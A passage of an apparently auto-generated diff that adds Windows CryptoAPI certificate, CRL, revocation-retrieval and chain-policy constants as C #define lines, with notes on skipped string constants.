CRL_FIND_ISSUED_FOR 0x3 +#define CRL_FIND_ISSUED_BY_AKI_FLAG 0x1 +#define CRL_FIND_ISSUED_BY_SIGNATURE_FLAG 0x2 +#define CRL_FIND_ISSUED_BY_DELTA_FLAG 0x4 +#define CRL_FIND_ISSUED_BY_BASE_FLAG 0x8 +#define CRL_FIND_ISSUED_FOR_SET_STRONG_PROPERTIES_FLAG 0x10 +#define CERT_STORE_ADD_NEW 0x1 +#define CERT_STORE_ADD_USE_EXISTING 0x2 +#define CERT_STORE_ADD_REPLACE_EXISTING 0x3 +#define CERT_STORE_ADD_ALWAYS 0x4 +#define CERT_STORE_ADD_REPLACE_EXISTING_INHERIT_PROPERTIES 0x5 +#define CERT_STORE_ADD_NEWER 0x6 +#define CERT_STORE_ADD_NEWER_INHERIT_PROPERTIES 0x7 +#define CERT_STORE_CERTIFICATE_CONTEXT 0x1 +#define CERT_STORE_CRL_CONTEXT 0x2 +#define CERT_STORE_CTL_CONTEXT 0x3 +#define CTL_ANY_SUBJECT_TYPE 0x1 +#define CTL_CERT_SUBJECT_TYPE 0x2 +#define CTL_FIND_NO_LIST_ID_CBDATA 0xffffffff +#define CERT_STORE_CTRL_RESYNC 0x1 +#define CERT_STORE_CTRL_NOTIFY_CHANGE 0x2 +#define CERT_STORE_CTRL_COMMIT 0x3 +#define CERT_STORE_CTRL_AUTO_RESYNC 0x4 +#define CERT_STORE_CTRL_CANCEL_NOTIFY 0x5 +#define CERT_STORE_LOCALIZED_NAME_PROP_ID 0x1000 +#define CERT_CREATE_CONTEXT_NOCOPY_FLAG 0x1 +#define CERT_CREATE_CONTEXT_SORTED_FLAG 0x2 +#define CERT_CREATE_CONTEXT_NO_HCRYPTMSG_FLAG 0x4 +#define CERT_CREATE_CONTEXT_NO_ENTRY_FLAG 0x8 +#define CERT_PHYSICAL_STORE_ADD_ENABLE_FLAG 0x1 +#define CERT_PHYSICAL_STORE_OPEN_DISABLE_FLAG 0x2 +#define CERT_PHYSICAL_STORE_REMOTE_OPEN_DISABLE_FLAG 0x4 +#define CERT_PHYSICAL_STORE_INSERT_COMPUTER_NAME_ENABLE_FLAG 0x8 +#define CERT_PHYSICAL_STORE_PREDEFINED_ENUM_FLAG 0x1 +// SKIPPED const CERT_PHYSICAL_STORE_DEFAULT_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_GROUP_POLICY_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_LOCAL_MACHINE_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_DS_USER_CERTIFICATE_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_LOCAL_MACHINE_GROUP_POLICY_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_ENTERPRISE_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_AUTH_ROOT_NAME: non-integer constant +// SKIPPED const CERT_PHYSICAL_STORE_SMART_CARD_NAME: non-integer constant +// SKIPPED const CRYPT_OID_OPEN_SYSTEM_STORE_PROV_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_REGISTER_SYSTEM_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_UNREGISTER_SYSTEM_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_ENUM_SYSTEM_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_REGISTER_PHYSICAL_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_UNREGISTER_PHYSICAL_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_ENUM_PHYSICAL_STORE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_SYSTEM_STORE_LOCATION_VALUE_NAME: non-integer constant +#define CMSG_TRUSTED_SIGNER_FLAG 0x1 +#define CMSG_SIGNER_ONLY_FLAG 0x2 +#define CMSG_USE_SIGNER_INDEX_FLAG 0x4 +#define CMSG_CMS_ENCAPSULATED_CTL_FLAG 0x8000 +#define CMSG_ENCODE_SORTED_CTL_FLAG 0x1 +#define CMSG_ENCODE_HASHED_SUBJECT_IDENTIFIER_FLAG 0x2 +#define CERT_VERIFY_INHIBIT_CTL_UPDATE_FLAG 0x1 +#define CERT_VERIFY_TRUSTED_SIGNERS_FLAG 0x2 +#define CERT_VERIFY_NO_TIME_CHECK_FLAG 0x4 +#define CERT_VERIFY_ALLOW_MORE_USAGE_FLAG 0x8 +#define CERT_VERIFY_UPDATED_CTL_FLAG 0x1 +#define CERT_CONTEXT_REVOCATION_TYPE 0x1 +#define CERT_VERIFY_REV_CHAIN_FLAG 0x1 +#define CERT_VERIFY_CACHE_ONLY_BASED_REVOCATION 0x2 +#define CERT_VERIFY_REV_ACCUMULATIVE_TIMEOUT_FLAG 0x4 +#define CERT_VERIFY_REV_SERVER_OCSP_FLAG 0x8 +#define CERT_VERIFY_REV_NO_OCSP_FAILOVER_TO_CRL_FLAG 0x10 +#define CERT_VERIFY_REV_SERVER_OCSP_WIRE_ONLY_FLAG 0x20 +#define CERT_UNICODE_IS_RDN_ATTRS_FLAG 0x1 +#define CERT_CASE_INSENSITIVE_IS_RDN_ATTRS_FLAG 0x2 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_BLOB 0x1 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_CERT 0x2 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_CRL 0x3 +#define CRYPT_VERIFY_CERT_SIGN_SUBJECT_OCSP_BASIC_SIGNED_RESPONSE 0x4 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_PUBKEY 0x1 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_CERT 0x2 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_CHAIN 0x3 +#define CRYPT_VERIFY_CERT_SIGN_ISSUER_NULL 0x4 +#define CRYPT_VERIFY_CERT_SIGN_CHECK_WEAK_HASH_FLAG 0x8 +// SKIPPED const CRYPT_OID_EXTRACT_ENCODED_SIGNATURE_PARAMETERS_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_SIGN_AND_ENCODE_HASH_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_VERIFY_ENCODED_SIGNATURE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PUBLIC_KEY_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PUBLIC_KEY_INFO_EX2_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PUBLIC_KEY_INFO_FROM_BCRYPT_HANDLE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_IMPORT_PUBLIC_KEY_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_IMPORT_PUBLIC_KEY_INFO_EX2_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_IMPORT_PRIVATE_KEY_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_EXPORT_PRIVATE_KEY_INFO_FUNC: non-integer constant +#define CRYPT_DELETE_KEYSET 0x10 +#define CERT_XML_NAME_STR 0x4 +#define CERT_NAME_STR_SEMICOLON_FLAG 0x40000000 +#define CERT_NAME_STR_NO_PLUS_FLAG 0x20000000 +#define CERT_NAME_STR_NO_QUOTING_FLAG 0x10000000 +#define CERT_NAME_STR_CRLF_FLAG 0x8000000 +#define CERT_NAME_STR_COMMA_FLAG 0x4000000 +#define CERT_NAME_STR_REVERSE_FLAG 0x2000000 +#define CERT_NAME_STR_FORWARD_FLAG 0x1000000 +#define CERT_NAME_STR_DISABLE_IE4_UTF8_FLAG 0x10000 +#define CERT_NAME_STR_ENABLE_T61_UNICODE_FLAG 0x20000 +#define CERT_NAME_STR_ENABLE_UTF8_UNICODE_FLAG 0x40000 +#define CERT_NAME_STR_FORCE_UTF8_DIR_STR_FLAG 0x80000 +#define CERT_NAME_STR_DISABLE_UTF8_DIR_STR_FLAG 0x100000 +#define CERT_NAME_STR_ENABLE_PUNYCODE_FLAG 0x200000 +#define CERT_NAME_EMAIL_TYPE 0x1 +#define CERT_NAME_RDN_TYPE 0x2 +#define CERT_NAME_ATTR_TYPE 0x3 +#define CERT_NAME_SIMPLE_DISPLAY_TYPE 0x4 +#define CERT_NAME_FRIENDLY_DISPLAY_TYPE 0x5 +#define CERT_NAME_DNS_TYPE 0x6 +#define CERT_NAME_URL_TYPE 0x7 +#define CERT_NAME_UPN_TYPE 0x8 +#define CERT_NAME_ISSUER_FLAG 0x1 +#define CERT_NAME_DISABLE_IE4_UTF8_FLAG 0x10000 +#define CERT_NAME_SEARCH_ALL_NAMES_FLAG 0x2 +#define CRYPT_MESSAGE_BARE_CONTENT_OUT_FLAG 0x1 +#define CRYPT_MESSAGE_ENCAPSULATED_CONTENT_OUT_FLAG 0x2 +#define CRYPT_MESSAGE_KEYID_SIGNER_FLAG 0x4 +#define CRYPT_MESSAGE_SILENT_KEYSET_FLAG 0x40 +#define CRYPT_MESSAGE_KEYID_RECIPIENT_FLAG 0x4 +#define CREDENTIAL_OID_PASSWORD_CREDENTIALS_A 1 +#define CREDENTIAL_OID_PASSWORD_CREDENTIALS_W 2 +#define CREDENTIAL_OID_PASSWORD_CREDENTIALS 2 +// SKIPPED const SCHEME_OID_RETRIEVE_ENCODED_OBJECT_FUNC: non-integer constant +// SKIPPED const SCHEME_OID_RETRIEVE_ENCODED_OBJECTW_FUNC: non-integer constant +// SKIPPED const CONTEXT_OID_CREATE_OBJECT_CONTEXT_FUNC: non-integer constant +#define CONTEXT_OID_CERTIFICATE 1 +#define CONTEXT_OID_CRL 2 +#define CONTEXT_OID_CTL 3 +#define CONTEXT_OID_PKCS7 4 +#define CONTEXT_OID_CAPI2_ANY 5 +#define CONTEXT_OID_OCSP_RESP 6 +#define CRYPT_RETRIEVE_MULTIPLE_OBJECTS 0x1 +#define CRYPT_CACHE_ONLY_RETRIEVAL 0x2 +#define CRYPT_WIRE_ONLY_RETRIEVAL 0x4 +#define CRYPT_DONT_CACHE_RESULT 0x8 +#define CRYPT_ASYNC_RETRIEVAL 0x10 +#define CRYPT_STICKY_CACHE_RETRIEVAL 0x1000 +#define CRYPT_LDAP_SCOPE_BASE_ONLY_RETRIEVAL 0x2000 +#define CRYPT_OFFLINE_CHECK_RETRIEVAL 0x4000 +#define CRYPT_LDAP_INSERT_ENTRY_ATTRIBUTE 0x8000 +#define CRYPT_LDAP_SIGN_RETRIEVAL 0x10000 +#define CRYPT_NO_AUTH_RETRIEVAL 0x20000 +#define CRYPT_LDAP_AREC_EXCLUSIVE_RETRIEVAL 0x40000 +#define CRYPT_AIA_RETRIEVAL 0x80000 +#define CRYPT_HTTP_POST_RETRIEVAL 0x100000 +#define CRYPT_PROXY_CACHE_RETRIEVAL 0x200000 +#define CRYPT_NOT_MODIFIED_RETRIEVAL 0x400000 +#define CRYPT_ENABLE_SSL_REVOCATION_RETRIEVAL 0x800000 +#define CRYPT_RANDOM_QUERY_STRING_RETRIEVAL 0x4000000 +#define CRYPT_ENABLE_FILE_RETRIEVAL 0x8000000 +#define CRYPT_CREATE_NEW_FLUSH_ENTRY 0x10000000 +#define CRYPT_VERIFY_CONTEXT_SIGNATURE 0x20 +#define CRYPT_VERIFY_DATA_HASH 0x40 +#define CRYPT_KEEP_TIME_VALID 0x80 +#define CRYPT_DONT_VERIFY_SIGNATURE 0x100 +#define CRYPT_DONT_CHECK_TIME_VALIDITY 0x200 +#define CRYPT_CHECK_FRESHNESS_TIME_VALIDITY 0x400 +#define CRYPT_ACCUMULATIVE_TIMEOUT 0x800 +#define CRYPT_OCSP_ONLY_RETRIEVAL 0x1000000 +#define CRYPT_NO_OCSP_FAILOVER_TO_CRL_RETRIEVAL 0x2000000 +#define CRYPTNET_URL_CACHE_PRE_FETCH_NONE 0x0 +#define CRYPTNET_URL_CACHE_PRE_FETCH_BLOB 0x1 +#define CRYPTNET_URL_CACHE_PRE_FETCH_CRL 0x2 +#define CRYPTNET_URL_CACHE_PRE_FETCH_OCSP 0x3 +#define CRYPTNET_URL_CACHE_PRE_FETCH_AUTOROOT_CAB 0x5 +#define CRYPTNET_URL_CACHE_PRE_FETCH_DISALLOWED_CERT_CAB 0x6 +#define CRYPTNET_URL_CACHE_PRE_FETCH_PIN_RULES_CAB 0x7 +#define CRYPTNET_URL_CACHE_DEFAULT_FLUSH 0x0 +#define CRYPTNET_URL_CACHE_DISABLE_FLUSH 0xffffffff +#define CRYPTNET_URL_CACHE_RESPONSE_NONE 0x0 +#define CRYPTNET_URL_CACHE_RESPONSE_HTTP 0x1 +#define CRYPTNET_URL_CACHE_RESPONSE_VALIDATED 0x8000 +#define CRYPT_RETRIEVE_MAX_ERROR_CONTENT_LENGTH 0x1000 +#define CRYPT_PARAM_ASYNC_RETRIEVAL_COMPLETION 1 +#define CRYPT_PARAM_CANCEL_ASYNC_RETRIEVAL 2 +// SKIPPED const URL_OID_GET_OBJECT_URL_FUNC: non-integer constant +#define URL_OID_CERTIFICATE_ISSUER 1 +#define URL_OID_CERTIFICATE_CRL_DIST_POINT 2 +#define URL_OID_CTL_ISSUER 3 +#define URL_OID_CTL_NEXT_UPDATE 4 +#define URL_OID_CRL_ISSUER 5 +#define URL_OID_CERTIFICATE_FRESHEST_CRL 6 +#define URL_OID_CRL_FRESHEST_CRL 7 +#define URL_OID_CROSS_CERT_DIST_POINT 8 +#define URL_OID_CERTIFICATE_OCSP 9 +#define URL_OID_CERTIFICATE_OCSP_AND_CRL_DIST_POINT 10 +#define URL_OID_CERTIFICATE_CRL_DIST_POINT_AND_OCSP 11 +#define URL_OID_CROSS_CERT_SUBJECT_INFO_ACCESS 12 +#define URL_OID_CERTIFICATE_ONLY_OCSP 13 +// SKIPPED const TIME_VALID_OID_GET_OBJECT_FUNC: non-integer constant +#define TIME_VALID_OID_GET_CTL 1 +#define TIME_VALID_OID_GET_CRL 2 +#define TIME_VALID_OID_GET_CRL_FROM_CERT 3 +#define TIME_VALID_OID_GET_FRESHEST_CRL_FROM_CERT 4 +#define TIME_VALID_OID_GET_FRESHEST_CRL_FROM_CRL 5 +// SKIPPED const TIME_VALID_OID_FLUSH_OBJECT_FUNC: non-integer constant +#define TIME_VALID_OID_FLUSH_CTL 1 +#define TIME_VALID_OID_FLUSH_CRL 2 +#define TIME_VALID_OID_FLUSH_CRL_FROM_CERT 3 +#define TIME_VALID_OID_FLUSH_FRESHEST_CRL_FROM_CERT 4 +#define TIME_VALID_OID_FLUSH_FRESHEST_CRL_FROM_CRL 5 +#define CRYPT_KEYID_MACHINE_FLAG 0x20 +#define CRYPT_KEYID_ALLOC_FLAG 0x8000 +#define CRYPT_KEYID_DELETE_FLAG 0x10 +#define CRYPT_KEYID_SET_NEW_FLAG 0x2000 +// SKIPPED const CERT_CHAIN_CONFIG_REGPATH: non-integer constant +// SKIPPED const CERT_CHAIN_MAX_URL_RETRIEVAL_BYTE_COUNT_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_CACHE_RESYNC_FILETIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_MANDATORY_BASIC_CONSTRAINTS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_CA_NAME_CONSTRAINTS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_UNSUPPORTED_CRITICAL_EXTENSIONS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_COUNT_IN_CERT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_COUNT_IN_CERT_DEFAULT 0x5 +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_COUNT_PER_CHAIN_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_COUNT_PER_CHAIN_DEFAULT 0x3 +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_BYTE_COUNT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_BYTE_COUNT_DEFAULT 0x186a0 +// SKIPPED const CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_CERT_COUNT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_AIA_URL_RETRIEVAL_CERT_COUNT_DEFAULT 0xa +// SKIPPED const CERT_CHAIN_OCSP_VALIDITY_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_SERIAL_CHAIN_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_SERIAL_CHAIN_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_SYNC_WITH_SSL_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_MAX_SSL_TIME_UPDATED_EVENT_COUNT_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MAX_SSL_TIME_UPDATED_EVENT_COUNT_DEFAULT 0x5 +#define CERT_CHAIN_MAX_SSL_TIME_UPDATED_EVENT_COUNT_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_SSL_HANDSHAKE_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_ENABLE_WEAK_SIGNATURE_FLAGS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_ENABLE_MD2_MD4_FLAG 0x1 +#define CERT_CHAIN_ENABLE_WEAK_RSA_ROOT_FLAG 0x2 +#define CERT_CHAIN_ENABLE_WEAK_LOGGING_FLAG 0x4 +#define CERT_CHAIN_ENABLE_ONLY_WEAK_LOGGING_FLAG 0x8 +// SKIPPED const CERT_CHAIN_MIN_RSA_PUB_KEY_BIT_LENGTH_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MIN_RSA_PUB_KEY_BIT_LENGTH_DEFAULT 0x3ff +#define CERT_CHAIN_MIN_RSA_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_MIN_WEAK_RSA_PUB_KEY_BIT_LENGTH_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MIN_WEAK_RSA_PUB_KEY_BIT_LENGTH_DEFAULT 0x7ff +#define CERT_CHAIN_MIN_WEAK_RSA_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_MIN_TELEMETRY_RSA_PUB_KEY_BIT_LENGTH_VALUE_NAME: non-integer constant +#define CERT_CHAIN_MIN_TELEMETRY_RSA_PUB_KEY_BIT_LENGTH_DEFAULT 0x7ff +#define CERT_CHAIN_MIN_TELEMETRY_RSA_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +// SKIPPED const CERT_CHAIN_WEAK_RSA_PUB_KEY_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_SIGNATURE_LOG_DIR_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DEFAULT_CONFIG_SUBDIR: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_PREFIX_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_THIRD_PARTY_CONFIG_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_ALL_CONFIG_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_FLAGS_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_HYGIENE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_AFTER_TIME_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_FILE_HASH_AFTER_TIME_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_TIMESTAMP_HASH_AFTER_TIME_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_MIN_BIT_LENGTH_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_WEAK_SHA256_ALLOW_NAME: non-integer constant +#define CERT_CHAIN_MIN_PUB_KEY_BIT_LENGTH_DISABLE 0xffffffff +#define CERT_CHAIN_ENABLE_WEAK_SETTINGS_FLAG 0x80000000 +#define CERT_CHAIN_DISABLE_ECC_PARA_FLAG 0x10 +#define CERT_CHAIN_DISABLE_ALL_EKU_WEAK_FLAG 0x10000 +#define CERT_CHAIN_ENABLE_ALL_EKU_HYGIENE_FLAG 0x20000 +#define CERT_CHAIN_DISABLE_OPT_IN_SERVER_AUTH_WEAK_FLAG 0x40000 +#define CERT_CHAIN_DISABLE_SERVER_AUTH_WEAK_FLAG 0x100000 +#define CERT_CHAIN_ENABLE_SERVER_AUTH_HYGIENE_FLAG 0x200000 +#define CERT_CHAIN_DISABLE_CODE_SIGNING_WEAK_FLAG 0x400000 +#define CERT_CHAIN_DISABLE_MOTW_CODE_SIGNING_WEAK_FLAG 0x800000 +#define CERT_CHAIN_ENABLE_CODE_SIGNING_HYGIENE_FLAG 0x1000000 +#define CERT_CHAIN_ENABLE_MOTW_CODE_SIGNING_HYGIENE_FLAG 0x2000000 +#define CERT_CHAIN_DISABLE_TIMESTAMP_WEAK_FLAG 0x4000000 +#define CERT_CHAIN_DISABLE_MOTW_TIMESTAMP_WEAK_FLAG 0x8000000 +#define CERT_CHAIN_ENABLE_TIMESTAMP_HYGIENE_FLAG 0x10000000 +#define CERT_CHAIN_ENABLE_MOTW_TIMESTAMP_HYGIENE_FLAG 0x20000000 +#define CERT_CHAIN_MOTW_IGNORE_AFTER_TIME_WEAK_FLAG 0x40000000 +#define CERT_CHAIN_DISABLE_FILE_HASH_WEAK_FLAG 0x1000 +#define CERT_CHAIN_DISABLE_MOTW_FILE_HASH_WEAK_FLAG 0x2000 +#define CERT_CHAIN_DISABLE_TIMESTAMP_HASH_WEAK_FLAG 0x4000 +#define CERT_CHAIN_DISABLE_MOTW_TIMESTAMP_HASH_WEAK_FLAG 0x8000 +#define CERT_CHAIN_OPT_IN_WEAK_FLAGS 0x40000 +#define CERT_CHAIN_AUTO_CURRENT_USER 0x1 +#define CERT_CHAIN_AUTO_LOCAL_MACHINE 0x2 +#define CERT_CHAIN_AUTO_IMPERSONATED 0x3 +#define CERT_CHAIN_AUTO_PROCESS_INFO 0x4 +#define CERT_CHAIN_AUTO_PINRULE_INFO 0x5 +#define CERT_CHAIN_AUTO_NETWORK_INFO 0x6 +#define CERT_CHAIN_AUTO_SERIAL_LOCAL_MACHINE 0x7 +#define CERT_CHAIN_AUTO_HPKP_RULE_INFO 0x8 +// SKIPPED const CERT_CHAIN_AUTO_FLAGS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_AUTO_FLUSH_DISABLE_FLAG 0x1 +#define CERT_CHAIN_AUTO_LOG_CREATE_FLAG 0x2 +#define CERT_CHAIN_AUTO_LOG_FREE_FLAG 0x4 +#define CERT_CHAIN_AUTO_LOG_FLUSH_FLAG 0x8 +// SKIPPED const CERT_CHAIN_AUTO_FLUSH_FIRST_DELTA_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_AUTO_FLUSH_NEXT_DELTA_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_AUTO_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_AUTO_FLUSH_PROCESS_NAME_LIST_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_VALIDITY_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_URL_RETRIEVAL_TIMEOUT_MILLISECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MAX_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_AFTER_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_SYNC_CERT_FILE_SECONDS_VALUE_NAME: non-integer constant +#define CERT_SRV_OCSP_RESP_MIN_SYNC_CERT_FILE_SECONDS_DEFAULT 0x5 +// SKIPPED const CERT_SRV_OCSP_RESP_MAX_SYNC_CERT_FILE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_MAX_CACHED_OCSP_PER_CRL_COUNT_VALUE_NAME: non-integer constant +#define CRYPTNET_MAX_CACHED_OCSP_PER_CRL_COUNT_DEFAULT 0x1f4 +#define CRYPTNET_OCSP_AFTER_CRL_DISABLE 0xffffffff +// SKIPPED const CRYPTNET_URL_CACHE_DEFAULT_FLUSH_EXEMPT_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_MAX_AGE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MAX_MAX_AGE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_OCSP_VALIDITY_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_AFTER_PUBLISH_PRE_FETCH_DIVISOR_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_AFTER_PUBLISH_PRE_FETCH_DIVISOR_DEFAULT 0xa +// SKIPPED const CRYPTNET_PRE_FETCH_BEFORE_NEXT_UPDATE_PRE_FETCH_DIVISOR_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_BEFORE_NEXT_UPDATE_PRE_FETCH_DIVISOR_DEFAULT 0x14 +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_BEFORE_NEXT_UPDATE_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_VALIDITY_PERIOD_AFTER_NEXT_UPDATE_PRE_FETCH_DIVISOR_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_VALIDITY_PERIOD_AFTER_NEXT_UPDATE_PRE_FETCH_DIVISOR_DEFAULT 0xa +// SKIPPED const CRYPTNET_PRE_FETCH_MAX_AFTER_NEXT_UPDATE_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_AFTER_NEXT_UPDATE_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_AFTER_CURRENT_TIME_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_TRIGGER_PERIOD_SECONDS_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_TRIGGER_DISABLE 0xffffffff +// SKIPPED const CRYPTNET_PRE_FETCH_SCAN_AFTER_TRIGGER_DELAY_SECONDS_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_SCAN_AFTER_TRIGGER_DELAY_SECONDS_DEFAULT 0x3c +// SKIPPED const CRYPTNET_PRE_FETCH_RETRIEVAL_TIMEOUT_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_PROCESS_NAME_LIST_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_URL_LIST_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_DISABLE_INFORMATION_EVENTS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_TIMEOUT_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_MAX_AGE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_PUBLISH_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_PUBLISH_RANDOM_INTERVAL_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_MIN_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_MIN_AFTER_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_URL_RETRIEVAL_TIMEOUT_MILLISECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_REV_ACCUMULATIVE_URL_RETRIEVAL_TIMEOUT_MILLISECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_INET_AUTH_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_INET_STATUS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_FILE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_LDAP_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CACHED_OCSP_SWITCH_TO_CRL_COUNT_VALUE_NAME: non-integer constant +#define CRYPTNET_CACHED_OCSP_SWITCH_TO_CRL_COUNT_DEFAULT 0x32 +#define CRYPTNET_CRL_BEFORE_OCSP_ENABLE 0xffffffff +// SKIPPED const CERT_CHAIN_DISABLE_AIA_URL_RETRIEVAL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_OPTIONS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_OPTION_DISABLE_AIA_URL_RETRIEVAL 0x2 +#define CERT_CHAIN_OPTION_ENABLE_SIA_URL_RETRIEVAL 0x4 +// SKIPPED const 